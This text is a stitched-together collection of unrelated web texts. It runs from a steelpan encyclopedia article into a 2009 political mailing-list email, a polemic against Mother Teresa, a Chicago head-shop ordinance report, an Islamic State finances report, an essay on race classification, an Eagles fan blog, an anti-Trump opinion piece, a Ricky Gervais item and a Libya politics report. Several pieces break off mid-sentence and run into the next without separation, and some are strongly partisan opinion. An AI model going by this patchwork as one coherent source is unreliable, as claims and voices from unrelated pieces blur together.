Steelpans are built using sheet metal with a thickness between 0.8 and 1.5 mm (1⁄ 32 and 1⁄ 16 in). Historically, steelpans have been built from used oil barrels. Nowadays, many instrument makers do not rely on used steel containers and get the resonance bodies manufactured according to their preferences and technical specifications. In a first step, the sheet metal is stretched into a bowl shape (this is commonly known as'sinking'). This process is usually done with hammers, manually or with the help of air pressure. The note pattern is then marked onto the surface, and the notes of different sizes are shaped and molded into the surface. After the tempering, the notes have to be softened and tuned (initial tuning). The softening is part of this initial tuning process. The technician will use the best possible tuning device[clarification needed] to get the right notes for each of the playing areas and to the pitch that is wanted. Often they will use an electronic tuner called a strobe tuner to assist the tuning of the steelpan.[citation needed]
The note's size corresponds to the pitch—the larger the oval, the lower the tone.[10]
The size of the instrument varies from one pan to another. It may have almost all of the "skirt" (the cylindrical part of the oil drum) cut off and around 30 soprano-range notes. It may use the entire drum with only three bass notes per pan, in which case one person may play six such pans. The length of the skirt generally corresponds to the tessitura (high or low range) of the drum. The pans are usually either painted or chrome plated. Other processes such as nickel plating, powdercoating, or hardening can also be applied as a finish.
Despite being a relatively new member of the percussion family, steelpan tuning techniques have advanced rapidly.[citation needed] Strobe tuners are ideally suited for the task. The need to see the first few overtones further makes a strobe tuner a necessity for steelpan tuning. Steelpan makers have used strobe tuners since it was discovered that, by adjusting the overtones (first (fundamental), second, and third partial), the pan's sound seemed to sparkle in a way that it did not previously.[citation needed]
There are several ways in which a steelpan may become out of tune (most commonly this is caused by playing the steelpan with excessive force and incorrect handling) and it is quite common that steelbands arrange to have their instruments tuned once or twice a year.[citation needed] A tuner must have great skill in his/her work to manage to make the notes sound both good and at the correct pitch. Much of the tuning work is performed using hammers.
Classification
In the beginning of the steelband movement, players would play a single pan only, now commonly called around the neck instruments. Later on, some steelpans became chromatic by using multiple pans, particularly for the bass registers, which have fewer notes per pan owing to the larger sizes of the lower note areas. Following are some of the most popular instruments:
Instrument Pitch Inventor Single Tenor, or Ping Pong[11] Soprano Winston "Spree" Simon Spiderweb Lead Soprano Tony Williams Invader Lead Soprano Ellie Mannette Double Tenor Mezzo-soprano Bertie Marshall Double Second Alto Ellie Mannette Double Guitar Baritone Jonathan Francis Quadrophonic (four pans) Baritone Rudolph Charles[12] Quadduet Baritone Ellie Mannette Triple Guitar Baritone Ellie Mannette Cello Baritone Ellie Mannette Tenor Bass Bass Ellie Mannette Six Bass Bass Ellie Mannette Nine Bass Bass Rudolph Charles[12] Twelve Bass Bass Rudolph Charles[12]
Music and competitions
A musician playing the double tenor steelpan
The repertoire of the steelband is extensive. Steelbands in Trinidad have a tradition of re-interpreting the current year's calypsos for carnival performance; rarely will a calypso from a previous year be heard at carnival or the Panorama music competition.[citation needed] Bands that perform all year round (both in Trinidad and in the so-called 'pan diaspora')[by whom?] have long prided themselves on being able to perform many types of music, particularly Latin and jazz numbers, film music and other popular tunes. Pannists also have a tradition of performing classical music which dates back to 1946, both in calypso tempo (known as "The Bomb") and straight (generally in concert or music festival contexts). In these contexts, accuracy and faithfulness to the original are highly prized.[13] While many American and British audiences demand to hear Harry Belafonte songs on pan, these are generally inauthentic to the Trinidadian tradition.[citation needed]
For many years now there have been attempts to use the steelpan in various contexts other than those with which it is stereotypically associated.[citation needed] The first known use of steelband in a theatrical performance (outside of Trinidad and Tobago) was in Harold Arlen's 1954 Broadway musical House of Flowers, in which Enid Mosier's Trinidad Steel Band performed in several songs. British composer Daphne Oram was the first composer to electronically manipulate the sound of the steelpan after recording a band (probably Russell Henderson's Steelband) in 1960.[14] The first use of pan in a commercial pop record was by The Hollies in 1967 with "Carrie Anne".[15] Loggins and Messina feature steel drums on the song "Vahevala" from their 1971 album Sittin' In.[citation needed]
An international festival, the World Steelband Music Festival, has been held intermittently in Trinidad since 1964, where steelbands perform a test piece (sometimes specially composed, or a selected calypso); a piece of choice (very often a "classic" or European art-music work); and calypso of choice, in a concert-style venue.[16] Panorama, the largest steelband contest in the world, occurs during Carnival celebrations in Trinidad.[citation needed]
Steelpans were introduced to the genre of Jazz Fusion by players such as Dave Samuels and Othello Molineaux in the 1980s, and Jonathan Scales in the 2000s. The sound of the steelpans adds a pleasant and accessible sound to an otherwise complex musical style.[original research?] They are featured in the early fusion album Morning Dance by Spyro Gyra.
Nick Jonas' 2016 single "Close" features the steelpan as the musical instrument.[citation needed]
Pannists
Steel pannist performing with a backing track
American pannist Jonathan Scales and band performing in 2011
A pannist (sometimes panist or panman), is a person who plays the steelpan. A professional pannist may perform solo, play with a steel band, or accompany singers or solo instrumentalists.
Pannists may play with their respective bands in large competitions,[17] and generally memorize everything that they perform.[18]
The pannist's top position in a Panorama steelband is that of the captain. These large ensembles often include section leaders: accomplished pannists that monitor the various voices in the band.[19]
Influential pannists include Ellie Mannette, the "Father of the Modern Steel Drum" and an accomplished panman, and Winston Simon, the inventor and a skilled player of the "Ping Pong" pan.[19]
Notable pannists
Musicians Jimmy Buffet and Lord Kitchener are known for composing music later adapted to the steel pan. Noted pan tuners and producers include Darren Dyke, Mappo, Bertrand Kelman, and Herman Guppy.
See also
Hang (instrument) - a similar instrument with a convex rather than concave surface
References
Further reading[big campaign] New Huff Post from Creamer -- Obama's Nobel Peace Prize
From:Creamer2@aol.com To: bigcampaign@googlegroups.com, can@americansunitedforchange.org Date: 2009-10-10 14:29 Subject: [big campaign] New Huff Post from Creamer -- Obama's Nobel Peace Prize
Obama’s Nobel Prize Is Really a Tribute to American Voters President Obama’s Nobel Peace Prize is more than anything else a tribute to America’s voters. In making the award, the Nobel Committee said, “The question we have to ask is, who has done the most in the previous year to enhance peace in the world, and who has done more than Barack Obama?” Of course the most important thing Obama did to enhance peace in the world, was to win the election – and once elected, to chart a course for American foreign policy that is fundamentally different, in both substance and tone, from that of the Bush-Cheney years. Obama greeted the news of the award by saying it was a “call to action,” and there is no doubt that it creates an even higher expectation for him to live up to in the years ahead. But more than anything else, this award celebrates the fact that American voters chose a President committed to progressive values – committed to strengthening international diplomacy and cooperation between peoples instead of pre-emptive war and the Neo-Con theories of unilateral action. In its statement, the Committee said he had “created a new climate in international politics…. Only very rarely has a person to the same extent as Obama captured the world’s attention and given its people hope for a better future.” It continued, “his diplomacy is founded in the concept that those who are to lead the world must do so on the basis of values and attitudes that are shared by the majority of the world’s population.” That is, in other words, a true commitment to democracy. To fully appreciate the importance of Obama’s election to the prospects of peace in the world, return with me to the thrilling days of yesteryear when Bush and Cheney still stalked the political earth. Think of the damage that they did in eight short years – to world peace, and to the respect and power of the United States. * A disastrous pre-emptive war in Iraq that destroyed America’s reputation, drained our treasure, cost the lives and limbs of tens of thousands of young Americans, resulted in the deaths of hundreds of thousands of Iraqi’s, displaced millions more, and strengthened Iran. * Neglect for the economic, political and military needs of the struggle in Afghanistan – leaving us with no truly good options there eight years after 9/11. * Demonization of the United Nations that went so far that they appointed a U.N. Ambassador more interested in destroying the institution than using it for diplomacy. * Virtual neglect of the festering problem of peace between Israel and the Palestinians. * Abandoning the Clinton policy of engagement with North Korea that had prevented that country’s development of nuclear weapons. That worked so well that North Korea got those weapons on the Bush-Cheney watch. * Abandoning the Geneva Conventions, due process of law and the shared values of the civilized world, and instead embracing torture, rendition, the debasement of prisoners at Abu Graib, and detention without trial. * For all of their tough talk about strengthening our military, they stretched it to the breaking point, so it became more difficult for America to take military action if it really were needed to maintain world peace. * And for those who love America, one of their worst sins was that Bush and Cheney turned our country into one that polls showed – rightly or wrongly – many people in the world believed was the “greatest threat to world peace.” Astounding. The Nobel Committee gave the prize to Barack Obama because he gave the world hope that its most powerful, wealthy nation would once again provide humankind with inspiration and leadership that can be trusted and admired. Since his election, President Obama has launched a worldwide campaign to eliminate all nuclear weapons – recognizing that controlling the proliferation of nuclear weapons is a practical impossibility unless we work to eliminate them from the globe. He has rededicated America to cope with the massive threat of climate change. He has reset our relationship with the Muslim world. He has rededicated America to the world’s international institutions. And, he has begun to use all of the tools available to our country – including diplomacy – to create a more just and peaceful planet. All of this is just the beginning of a long journey. But at least we have once again begun that journey down the right road. In and of itself that has made America safer, restored our respect in the world, and has begun to build a foundation for peace in the world over the long term. Americans may not fully appreciate how completely they changed our relations to the rest of the world when they voted to elect Barack Obama last November. The rest of the world does. We should consider Barack Obama’s Nobel peace prize as a giant gesture of gratitude. Robert Creamer is a long time political organizer and strategist, and author of the recent book: Stand Up Straight: How Progressives Can Win, available on _Amazon.com._ (http://www.amazon.com/Listen-Your-Mother-Straight-Progressives/dp/0979585295/ref=pd_bbs_sr_1?ie=UTF8&s=books&qid=1213241439&sr=8-1) --~--~---------~--~----~------------~-------~--~----~ You received this message because you are subscribed to the "big campaign" group. To post to this group, send to bigcampaign@googlegroups.com To unsubscribe, send email to bigcampaign-unsubscribe@googlegroups.com E-mail dubois.sara@gmail.com with questions or concerns This is a list of individuals. It is not affiliated with any group or organization. -~----------~----~----~----~------~----~------~--~---Mother Teresa at a pro-life meeting. Photos via Wikimedia Commons
Before Carly Fiorina, before the fraudulent Planned Parenthood videos, there was Mother Teresa of Calcutta. Thanks to the Catholic church's propaganda, we remember the nun as a modern saint, but history tells a different story.
Catholics have ignored these claims for generations. To this day, the church and its followers love Mother Teresa fervently: A reported 300,000 people showed up to the Vatican to see Pope John Paul II beatify her (the first step to making a dead person a saint).
Before her death in 1997, the nun gained her cult following through opening 517 missions, many in Calcutta, the capital of India's West Bengal state; however, allegations of financial and medical corruption have plagued Teresa's missions for at least two decades. Serge Larivée and Genevieve Chenard, of University of Montreal's Department of Psychoeducation, and Carole Sénéchal of the University of Ottawa, published a paper in 2012 detailing Teresa's crimes: When doctors visited her missions, they reportedly discovered that one-third of patients "lay dying without receiving appropriate care."
The same paper claims that doctors found a shortage of care, food, and painkillers, although Teresa had raised millions of dollars. Slate also found that Teresa brought in tons of money, but her missionaries looked as bad when she founded them as they did after her death. (During her own illness, Teresa fled to California clinics, Slate reports.) The conditions in her missions were so dire, in fact, that they were once compared to photographs of "Nazi Germany's Bergen-Belsen concentration camp."
When confronted about these allegations, according to Christopher Hitchens, Mother Teresa said, "There is something beautiful in seeing the poor accept their lot, to suffer it like Christ's Passion. The world gains much from their suffering."
If there was one group that Teresa avidly wanted to protect from suffering, it was fetuses. According to New York Times, Mother Teresa used her Nobel Prize acceptance speech to speak out against abortion. ''To me, the nations with legalized abortion are the poorest nations," she said. "The greatest destroyer of peace today is the crime against the unborn child.'' (Research shows that abortion happens with the same frequency whether or not it is legal; however, women are 34 times more likely to die from abortion in countries where the procedure is restricted.)
In 1994, Teresa traveled to Washington, DC, where she delivered a speech at the National Prayer Breakfast with President Bill Clinton and Vice President Al Gore in the audience. In this address, she insisted that opposing abortion is as important as preventing child starvation. "Many people are very, very concerned with the children of India, with the children of Africa where quite a few die of hunger, and so on," she said. "Many people are also concerned about all the violence in this great country of the United States. These concerns are very good. But often these same people are not concerned with the millions who are being killed by the deliberate decision of their own mothers. And this is what is the greatest destroyer of peace today—abortion which brings people to such blindness."
That same year, journalists Christopher Hitchens and Tariq Ali created a television documentary called Hell's Angel about Mother Teresa, in which Hitchens accused her of being "a demagogue, an obscurantist and a servant of earthly powers" who would rather denounce abortion and contraception than help the poor. According to the Washington Post, the film also details the nun's close friendships with Charles Keating, a financier who became notorious for his involvement in the 1990s savings and loan crisis, and Jean-Claude Duvalier, the Haitian dictator known as Baby Doc, best known for his reputation of kidnapping and torturing people. Although her missions looked impoverished, Teresa allegedly took money from both these men, who ruined thousands, if not millions, of people's lives.
Throughout the following decades, Mother Teresa went on to encourage countries and politicians to support dangerous ancient morals. She urged Ireland to vote against a bill allowing divorce in 1995, and the following year she called Republican presidential candidate Bob Dole to thank him for helping ban some late-term abortions. When wearing AIDS ribbons became trendy, she bragged about helping victims—although she hates condoms, which would have saved countless lives. That the potential future saint would simultaneously want to fight AIDS and condom use is not surprising, given her long history of total hypocrisy.Ald. Tom Tunney acknowledged pipes are "not inherently illegal," but wants to provide a nuisance for head shops. View Full Caption DNAinfo/Alisa Hauser
CITY HALL — Head shops face a new law calling for more stringent reporting to the city in an ordinance amendment proposed by Lakeview's alderman.
The ordinance by Ald. Tom Tunney (44th) was approved by the License Committee Wednesday. It would call on shops selling "tobacco accessories" such as rolling papers, rolling machines and pipes to report the percentage of shelf space devoted to the products.
"The ordinance is primarily about data," Tunney said, but later acknowledged it was designed to be a nuisance for what he called "bong shops."
"It will also educate them about the [state] Drug Paraphernalia Act," he added. "They will be more cautious."
Ald. Tom Tunney has proposed an ordinance primarily intended to hassle head shops. View Full Caption DNAinfo/Ted Cox
State law prohibits the sale of drug paraphernalia, with violations considered a felony, but Tunney acknowledged that so-called tobacco accessories are "not inherently illegal," even when clearly designed for smoking substances other than tobacco.
If the ordinance clears the full City Council next week, it would call on shops to report the percentage of shelf space devoted to pipes and bongs to the Department of Business Affairs and Consumer Protection. Tunney said it would aid both that department and Chicago Police in tracking down stores that violate the state law, even though that law has no provisions on shelf space.
Tunney called it a "quality-of-life issue" for both residents and neighboring businesses, and said the shops have an "impact on the community," saying they act as a "damper on the retail corridors."
He did not cite any shops specifically, but said "there's plenty" along Belmont Avenue and Clark Street.
Yet Tunney's announced opponent in next year's aldermanic election, Alley owner Mark Thomas, called the ordinance "silly," adding that it only proves Tunney is actually "the arch nemesis to small business in Chicago."
"We're seeing legal marijuana all over the place in the United States," Thomas said. "And here we are passing this silly ordinance to make it more difficult for people to run a business."
Thomas agreed the "proliferation of head shops" is a problem, adding that the Alley, 906 W. Belmont Ave., stopped selling pipes and such over a year ago. "So many head shops opened in the neighborhood, it was like I couldn't make any money on it," he said.
Yet Thomas said a better solution would be to separate smoke shops from tobacco shops, determined by the percentage of sales devoted to actual tobacco products, and then to submit smoke shops to more stringent zoning requirements.
Thomas also objected to additions in the ordinance making it illegal for felons who committed their crimes within the last five years to get a tobacco license, which he said could affect the owner of a convenience store. "So this is bad for small-businessmen who might have made a mistake in their life," Thomas added. "I think that Chicago has become the most unpleasant place in America for small businesses to do business, and this is an example of that."
Yet other aldermen suggested Tunney's ordinance didn't go far enough.
"This is kind of scary," said Ald. Deborah Graham (29th). She wondered aloud if the city needed to ban the display of smoking paraphernalia in store windows and sought to crack down on "this free-will living kind of stuff."
The ordinance cleared the License Committee unanimously, but Graham added, "We probably need to do a little bit more."
For more neighborhood news, listen to DNAinfo Radio here:A firefighter works to extinguish an oil well set on fire by fleeing Islamic State members in November in Qayyarah, Iraq. (Chris Mcgrath/Getty Images)
The Islamic State starts the new year with a drastically depleted bank account, counterterrorism officials say, following months of intensified efforts to deprive the Islamists of oil profits and other revenue used to finance military operations and terrorist attacks abroad.
Coalition aircraft in the past 15 months have destroyed more than 1,200 tanker trucks — including 168 vehicles struck in a single air raid in Syria in early December — while also using new weapons and tactics to inflict lasting damage on the terrorists’ remaining oil fields, U.S. and Middle Eastern officials say.
The military strikes are being paired with new measures intended to shut down financial networks used by the Islamic State to procure supplies and pay its fighters, the officials say. Two weeks ago, the U.S. and Iraqi governments announced the first coordinated effort to punish Iraqi and Syrian financial services companies used by the terrorists to conduct business.
The campaign has slashed profits from oil sales, traditionally the biggest revenue source for the Islamic State, U.S. officials say, and deepened the economic pain for a terrorist organization that until recently was regarded as the world’s wealthiest. One sign of the financial strain, the officials say, is a shrinking payroll: After cutting salaries by 50 percent a few months ago, the Islamic State now appears to be struggling to pay its workers and fighters at all.
“We are destroying ISIL’s economic base,” Brett McGurk, the Obama administration’s special envoy to the 67-nation coalition arrayed against the Islamic State, said at a news briefing recently, using one of the common acronyms for the militants. Just a year ago, the militants were luring foreign fighters with promises of generous paychecks, but today “that is not happening,” he said.
(Jorge Ribas/The Washington Post)
“Their fighters are not getting paid,” McGurk said, “and we have multiple indications of that.”
Coalition planes have been bombing the group’s oil fields and tanker fleet for more than two years, but the most notable successes in recent months have come from military operations that targeted individual oil wells, including well casings and other underground infrastructure, according to U.S. and Middle Eastern officials familiar with the new strategy.
The tactics make it all but impossible for the Islamic State to repair the wells or extract oil through makeshift techniques, the officials said.
[Satellite photos show ISIS building scores of makeshift refineries]
Previous airstrikes crippled the Islamic State’s oil-producing capacity |
. It is unclear when the other person injured, a store employee, got hit in the head.
Wade and Padilla fled but were caught a few blocks away. Police did not say if the third person was caught.
Wade and Padilla were charged with simple assault, harassment, criminal mischief and disorderly conduct. They were arraigned by District Judge Donna Butler and sent to Lehigh County Prison under $8,000 bail each.
Padilla was also charged in a July 27 domestic assault case in Allentown. He has since posted bail.
— Manuel Gamiz Jr.Classifying humans into races the biggest mistake in history of science
Posted
Science is one of the most remarkable inventions of humankind. It has been a source of inspiration and understanding, lifted the veil of ignorance and superstition, been a catalyst for social change and economic growth, and saved countless lives.
Yet, history also shows us that its been a mixed blessing. Some discoveries have done far more harm than good. And there's one mistake you will never read about in those internet lists of the all-time biggest blunders of science.
The worst error in the history of science was undoubtedly classifying humans into the different races.
Race theory stands alone as biggest mistake
Now, there are some big contenders for this dubious honour. Massive blunders like the invention of nuclear weapons, fossil fuels, CFCs (chlorofluorocarbons), leaded petrol and DDT. And tenuous theories and dubious discoveries like luminiferous aether, the expanding earth, vitalism, blank slate theory, phrenology, and Piltown Man, to name just a few.
But race theory stands out among all of them because it has wreaked untold misery and been used to justify barbaric acts of colonialism, slavery and even genocide. Even today it's still used to explain social inequality, and continues to inspire the rise of the far right across the globe.
Take for example the controversy that surrounded Nicholas Wade's 2014 book, A Troublesome Inheritance, if you doubt for a moment the resonance race still has for some people.
The human races were invented by anthropologists like Johann Friedrich Blumenbach back in the 18th century in an attempt to categorise new groups of people being encountered and exploited as part of an ever expanding European colonialism.
From the very beginning, the arbitrary and subjective nature of race categories was widely acknowledged. Most of the time races were justified on the grounds of cultural or language differences between groups of people rather than biological ones.
Their existence was taken as a given right up until the 20th century when anthropologists were busy writing about races as a biological explanation for differences in psychology, including intelligence, and educational and socioeconomic outcomes between groups of people.
Are races still valid?
Yet, there always was a great deal of unease about race and a widely held belief that racial categories were in practice extraordinarily difficult to apply.
One famous critic of racial theory was the American anthropologist Ashley Montagu who wrote in 1941:
"The omelette called 'race' has no existence outside the statistical frying pan in which it has been reduced by the heat of the anthropological imagination."
If race still resonates today publicly and politically, what do scientists think about it? Do anthropologists in particular believe that races are still valid?
A new survey of more than 3,000 anthropologists by Jennifer Wagner of the Geisinger Health System and her team has recently been published in the American Journal of Physical Anthropology and it offers some valuable insights into their views and beliefs.
The people surveyed were members of the American Anthropological Association, the largest professional body of anthropologists in the world.
They were asked to respond to 53 statements about race covering topics like whether races are real, if they are determined by biology, whether races should play a role in medicine, the role of race and ancestry in commercial genetic testing, and if the term race should continue to be used at all.
Most revealing was the response to the statement, "The human population may be subdivided into biological races", with 86 per cent of respondents strongly disagreeing or disagreeing.
To the statement, "Racial categories are determined by biology", 88 per cent strongly disagreed or disagreed. And, "Most anthropologists believe that humans may be subdivided into biological races", 85 per cent of respondents strongly disagreed or disagreed.
We can take from this that there is a clear consensus among anthropologists that races aren't real, that they don't reflect biological reality, and that most anthropologists don't believe there is a place for race categories in science.
But buried within the survey results were some troubling findings like that anthropologists from privileged groups — in the US context 'white' males and females — were more likely to accept race as valid than non-privileged groups.
These privileged scientists represent 75 per cent of the anthropologists surveyed. Their power and influence reaches right across the field. They are the main people determining what research is done, who gets funding, they are training the next generation of anthropologists, and are the public face of the field as well as the experts whose opinion is sought on issues like race.
Long-held views need to be challenged
The take home message is clear. Like everyone else, anthropologists are far from immune to unconscious bias, especially the effects of social status and culture in shaping our beliefs on issues like race.
Ironically perhaps, we anthropologists need, as a discipline, to work a lot harder at challenging our own deeply held and culturally embedded views, as well as on giving a greater voice to those scientists from historically non-privileged groups.
Still, the survey makes a very powerful statement. It is a resounding rejection of race by those scientists whose discipline invented the system of racial classification itself.
It also marks the near universal acceptance by anthropologist of decades of genetic evidence showing that human variation can't be pigeonholed into categories called races.
Stepping out of my ivory tower, I can't see the political class or broader community adopting such a strong view against race any time soon.
Darren Curnoe is chief investigator and co-leader of Education and Engagement Program at the ARC Centre of Excellence for Australian Biodiversity and Heritage, and director of the Palaeontology, Geobiology and Earth Archives Research Centre at the UNSW Australia.
Originally published in The Conversation.
Topics: race-relations, anthropology-and-sociology, australiaAs an Eagles fan the last few days have been an emotional roller coaster. I was in attendance along with a large number of family members to witness a gutty performance from Carson Wentz as he threw his final pass of the season, a go ahead TD on the road against a top NFC team, all while on a blown out ACL. The man is the definition of a warrior and was having a MVP season, so certainly losing him is a huge blow. However Foles is at the very least a competent backup and there is a chance the Eagles can still remain competitive.
A post shared by Brian Baldinger (@baldynfl) on Dec 11, 2017 at 4:26pm PST
1. The Suspect NFC QB Class
Now that the MVP Carson Wentz’s season has been unfortunately cut short there certainly are some suspect QBs left in the NFC Playoff picture.
Case Keenum – Another QB with a sub.500 record as a starter at 17-18. Sure he’s having a career year, but the Panthers just highlighted his inability to handle the blitz and hell Mike Zimmer doesn’t even believe in him.
Jared Goff – A second year QB with a career 9-11 record as a starter would certainly be concerning in a road playoff scenario. Especially one in cold weather which the California boy has little experience dealing with.
Drew Brees – Nick Foles is nowhere near as good Drew Brees, however Brees is having a down year by his standards. The Saints offense has been succeeding thanks to their running game.
Cam Newton – Has there been any QB more hot and cold than former MVP Cam Newton? 17 TDs and 12 INTs don’t really strike fear into the heart of any defense, especially considering three of those INTs came against the Eagles.
Matt Ryan – Matt Ryan has been having a similar season as Cam Newton as he struggles to find the same success he had with Mike Shanahan. Ryan’s 64.5 QBR this season is the lowest number in his ten year career.
2. He Has Playoff Experience
It may only be one game experience but Nick Foles started a playoff game for the Eagles at home in 2013 completing 69.7% of his passes for 195 yards two TDs and zero INTs. It’s easy to forget in their 26-24 loss to the Saints that Foles drove down in the fourth quarter for the go ahead touchdown to put the Eagles up 24-23. The game was lost on the ensuing kickoff return and horse collar penalty that made a game winning FG all too easy, which disappointed Eagles fans and this one in particular.
3. Home Field Advantage
Right now the Eagles are the #1 seed and if they can maintain that in these final three games that makes Nick Foles job that much easier. Especially when you look at the current NFC landscape and see that three teams are dome teams (MIN, ATL & NO) and two are warm weather teams (LA & CAR).
4. The Dude Was A Pro-Bowler As Recent As 2013
Sure it’s easy to discredit his 27-2 season as some fluke, but come on give the guy props. This is more an excuse to bring up this hilarious sound drop of Foles at the Pro Bowl trying to get the crowd amped up!
5. He Made Riley Cooper Look Good
Riley Cooper may of just announced his retirement so clearly he wasn’t an amazing receiver, but Nick Foles actually made him look good at times. Riley Cooper was a big bodied possession WR, basically he was a much shittier version of Alshon Jeffery and Foles should be able to really take advantage of his large catch radius.
6. He’s Not Afraid Of The Deep Ball
His deep ball really shined in the 2013 season when he averaged 9.3 yards per attempt, however throughout his career he hasn’t been afraid to chuck it up deep. Foles clearly doesn’t have the same ability to buy time that Carson has, but if the Eagles line can give him a clean pocket he can and will throw downfield.
7. The Eagles Have A Running Game & Defense That Can Win Games
Arguably the biggest complaint about the Eagles play calling from fans has been the lack of commitment to the running game at times. When you have a MVP QB it’s easy to see why you may get stuck passing, but now that Foles is at the helm expect a heavy dose of Jay Ajayi, Legarrette Blount and Corey Clement. A strong running game, opens up the play action game for Foles and makes his throws much easier. Carson Wentz probably could’ve played defense, but so far in 2017 he hasn’t. The defense meanwhile has been only allowing 19.2 points per game and have been quietly as important as the offense in their 11-2 record.
8. Vegas StilL Believes In The Eagles
Currently the MyBookie.Ag has the Eagles as a -7.5 point road favorite against the Giants. They’ll also likely be favorites in their final two regular season games against Oakland and Dallas. More surprisingly to some the Eagles are still the odds on favorite to win the NFC at only +250! And only +650 to win the Super Bowl
9. He’s Already Got Some Sweet Nicknames
Nicky Six and Big Dick Nick! That’s tough to beat, now if only I could track down my Foles jersey I gave up when they traded him for Sam Bradford I’ll be back in business.Trump Hires More Fox News Hacks To Join His Administration’s Propaganda Ministry
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The relationship between Donald Trump and Fox News goes back years. Long before he was running for president he had a regular segment on Fox and Friends called “Mondays with Trump.” It served as the launching pad for his eventual campaign and a platform from which he could attack President Obama. In addition to that free political infomercial time, Trump was close friends with Bill O’Reilly, Sean Hannity, and Roger Ailes.
Fox News moves into the White House
This parasitic partnership served both the ego of Trump and the greed of Fox. Consequently, it’s not especially surprising that it would continue into his presidency. However no one could have predicted the depths it would reach. From the outset of the nascent Trump administration, he has used the right-wing network as a virtual farm team. The only other comparably rich pool of potential White House recruits was Goldman Sachs. This week two new Foxies became the beneficiaries of Trump’s job creation program.
Heather Nauert was most recently a co-host and news presenter on Fox and Friends. Now she has been tapped as spokeswoman for the State Department. This is her first government job.
Following her to Trumpville is Fox contributor Richard Grennell. He served as Director of Communications for the U.S. representative to the United Nations from 2001 to 2008 before signing on at Fox. That means he was the key spokesman throughout the Iraq war debacle. Now Trump is nominating him to be the ambassador to NATO. What’s peculiar about this is that Trump has repeatedly criticized the U.S. invasion of Iraq that it was Grennell’s job to defend. And now Trump wants to put him at NATO, an organization Trump said was outdated.
These two Foxugees are joining three former colleagues already on Team Trump. K.T. McFarland, Ben Carson, and Sebastian Gorka. There would have been four but Monica Crowley withdrew from the National Security Council after being exposed as a plagiarist. She’s back at Fox now. Appearing on Hannity Tuesday night she whined that she had been the victim of “a straight up political hit job.” She also said that her publisher backed her up but, in fact, they halted all sales of her book.
Trump’s Ministry of Propaganda
Still more Fox personnel have been considered for administration roles. Trump appears to be building a de facto Ministry of Propaganda out of the White House. All of the elements are falling into place. He’s assembled a cast of characters that has experience in developing fiction and defending the indefensible. Now on the inside they can be counted on to continue showering him with praise and deflecting criticism.
On the other side of this partnership, Fox News is well positioned to take advantage of their unique circumstance. They can expect to be excluded from Trump’s tirades against “fake news.” More importantly, the network’s corporate parent can count on Trump to shepherd through regulations that benefit the company. Fox would love to have the FCC relax TV station ownership caps so they can monopolize markets by buying up more stations. Also high among the priorities of Fox’s CEO Rupert Murdoch, is scuttling the merger of competitors AT&T and TimeWarner. That’s actually a good idea, but not for the selfish reasons Murdoch harbors.
Finally, how can Fox News fairly cover an administration that’s lousy with its own former employees? This presents a conflict that is unprecedented. Those involved are closely associated with one another, and they likely expect to return to Fox after their government service. So neither will want to antagonize the other for fear of hampering future opportunities.
Big Trouble
Trump’s promise to “drain the swamp” is being kept by draining it right into the White House. The stench of corruption stemming from his unsavory connections to Russia now has a media machine to mask the odor. It’s the sort of thing that one observes in the regimes of dictators. There has never been anything similar in the United States. It’s up to what’s left of the independent press to make sure it doesn’t take hold. So we may be in big trouble.
Featured Photo by Slaven Vlasic/Getty Images.He may have gone out with a relative whimper, but comedian Ricky Gervais says he has no problem hanging up his hosting hat for the Golden Globes.
He took to his blog today to announce that the third time truly was the charm for him, but he's ready to move on. He wrote:
Phew! Thank (expletive) that's over. I had a blast actually. It was by far my favourite of the three hosting stints. I've told my agent to never let me be persuaded to do it again though. It's like a parachute jump. You can only really enjoy it in retrospect when you realise you didn't die and it was quite an amazing thing to do.
He added that this year's crowd seemed to take his jokes in stride and that he's planning to take some time off.
The crowd were great this year too. I think they finally worked out that my gags only seemed rude and nasty but were actually not too scary at all. Or they were just drunker. Either way, it was fun but I'm glad to say I'm off to New York to chill out a bit. Ahhhhhh. And relax.
What do you make of Gervais' decision to end his run as Golden Globes host?Story highlights Ahmad Mitig confirmed by Congress as fifth prime minister since end of 2011 uprising
Confirmation follows chaotic scenes in Parliament on Sunday
Tripoli government struggling to impose order in country awash with weapons
Many Libyans angry at slow democratic progress, worsening security
After a chaotic day that saw Libya pick a new prime minister only for the vote be declared invalid hours later, the volatile North African country appears to have a new premier -- the fifth in more than two years.
The General National Congress, Libya's transitional parliament, seemed to have selected a new prime minister on Sunday, choosing businessman Ahmad Mitig during a lively legislative session that saw several rounds of voting.
But almost as soon as Mitig was sworn in, the deputy speaker declared the election invalid.
On Monday, the Congress confirmed Mitig as Libya's new prime minister after approving his appointment.
"Ahmad Mitig was appointed head of the transitional government, and asked to form his cabinet and present it to the GNC for a confidence vote within 15 days," said a decision signed by Congress Speaker Nuri Abu Sahmein.
"This decision is in effect from date of publication... and anything that contradicts it is nullified and all those concerned must implement it."
The resolution was numbered as "No. 38" and dated May 4 but published Monday.
Given Sunday's dispute, it was unclear what exactly would happen next.
The appointment makes the 42-year-old businessman Libya's fifth and youngest premier since dictator Moammar Gadhafi was toppled and killed in a 2011 revolution.
But the confusion was another blow to a transitional government that has struggled to impose its authority over myriad militia groups that have grown in power and influence since the NATO-backed uprising.
Parliament's work has been undermined by internal squabbling and threatened by the North African country's fractious militias, many of whom fought to oust Gadhafi but have refused to lay down their arms.
Sunday's vote was the latest in several attempts to choose a prime minister. Another vote was abandoned last week when armed men stormed congressional headquarters, sending lawmakers fleeing.
It took two rounds of voting before Mitig emerged as the front-runner for the post on Sunday, but he fell short of the 120 votes required in a confidence vote.
A power struggle soon erupted in the assembly, with officials giving contradictory versions of the outcome.
Second Deputy Speaker Saleh al-Makhzoum said Mitig had clinched 121 votes after voting resumed. But First Deputy Speaker Ezzedin al-Awami, who had chaired the first vote, said it was illegal, as he had already declared the session over. Both men could be seen arguing in the chamber on television.
Al-Awami took the role of acting speaker during Sunday's session. Abu Sahmein, who usually chairs parliamentary sessions, disappeared from public view after the prosecutor general reportedly launched an investigation into a leaked video showing him being questioned over a late-night visit by two women to his house.
The premier's post became vacant after interim prime minister Abdullah al-Thinni resigned last month, citing an attack by gunmen on his family just a month into his term. He continued as caretaker premier until his successor was picked.
He had taken over from Ali Zeidan, who fled the country after he was ousted by deputies over his failure to stop attempts by rebels in the volatile east to sell oil independently of Tripoli's government.
Many Libyans in the oil-producing nation blame political infighting for a lack of progress in Libya's fragile nascent democracy after more than 40 years of one-man rule.
A new constitution is in the works -- a process that has been repeatedly delayed by political wrangling -- but many are increasingly frustrated with the lack of economic progress and deteriorating security.
